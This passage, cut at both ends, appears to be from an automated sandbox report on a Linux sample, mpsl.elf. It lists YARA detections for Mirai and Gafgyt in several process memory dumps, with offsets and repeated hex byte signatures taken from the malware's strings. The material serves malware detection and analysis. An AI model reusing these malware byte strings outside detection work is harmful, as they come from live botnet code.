2F 0x1686c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16880:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5449.1.00007f6828400000.00007f6828418000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x16c48:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
5467.1.00007f6828400000.00007f6828418000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5467.1.00007f6828400000.00007f6828418000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5467.1.00007f6828400000.00007f6828418000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x166f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16704:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16718:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1672c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16740:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16754:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16768:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1677c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16790:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16808:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1681c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16830:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16844:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16858:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1686c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16880:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5467.1.00007f6828400000.00007f6828418000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x16c48:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
5459.1.00007f6828400000.00007f6828418000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5459.1.00007f6828400000.00007f6828418000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5459.1.00007f6828400000.00007f6828418000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x166f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16704:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16718:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1672c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16740:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16754:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16768:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1677c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16790:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16808:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1681c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16830:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16844:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16858:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1686c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16880:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5459.1.00007f6828400000.00007f6828418000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x16c48:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
5455.1.00007f6828400000.00007f6828418000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5455.1.00007f6828400000.00007f6828418000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5455.1.00007f6828400000.00007f6828418000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x166f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16704:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16718:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1672c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16740:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16754:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16768:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1677c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16790:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x167f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16808:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1681c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16830:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16844:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16858:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1686c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16880:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5455.1.00007f6828400000.00007f6828418000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x16c48:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Process Memory Space: mpsl.elf PID: 5449	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: mpsl.elf PID: 5449	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x97c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x990:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x9a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x9b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x9cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x9e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x9f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa08:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa1c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa30:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa44:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa58:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa6c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa80:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa94:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xaa8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xabc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xad0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xae4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xaf8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xb0c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: mpsl.elf PID: 5449	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x1238:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Process Memory Space: mpsl.elf PID: 5451	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: mpsl.elf PID: 5451	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x2051b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2052f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x20543:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x20557:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2056b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2057f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x20593:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x205a7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x205bb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x205cf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x205e3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x205f7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2060b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2061f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x20633:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x20647:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2065b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2066f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x20683:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x20697:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x206ab:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: mpsl.elf PID: 5451	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x20dd7:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Process Memory Space: mpsl.elf PID: 5452	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: mpsl.elf PID: 5452	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x353d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3551:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3565:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3579:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x358d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x35a1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x35b5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x35c9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x35dd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x35f1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3605:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3619:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x362d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3641:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3655:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3669:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x367d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3691:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x36a5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x36b9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x36cd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: mpsl.elf PID: 5452	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x3df9:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Process Memory Space: mpsl.elf PID: 5457	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: mpsl.elf PID: 5457	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x38bb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x38cf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x38e3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x38f7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x390b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x391f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3933:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3947:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x395b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x396f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3983:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3997:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x39ab:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x39bf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x39d3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x39e7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x39fb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3a0f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3a23:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3a37:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3a4b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: mpsl.elf PID: 5457	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x4177:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Process Memory Space: mpsl.elf PID: 5458	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: mpsl.elf PID: 5458	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x2d4a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2d5e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2d72:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2d86:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2d9a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2dae:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2dc2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2dd6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2dea:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2dfe:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2e12:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2e26:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2e3a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2e4e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2e62:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2e76:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2e8a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2e9e:$a: 2F 78 33 38 2F 78 46 4A 2F 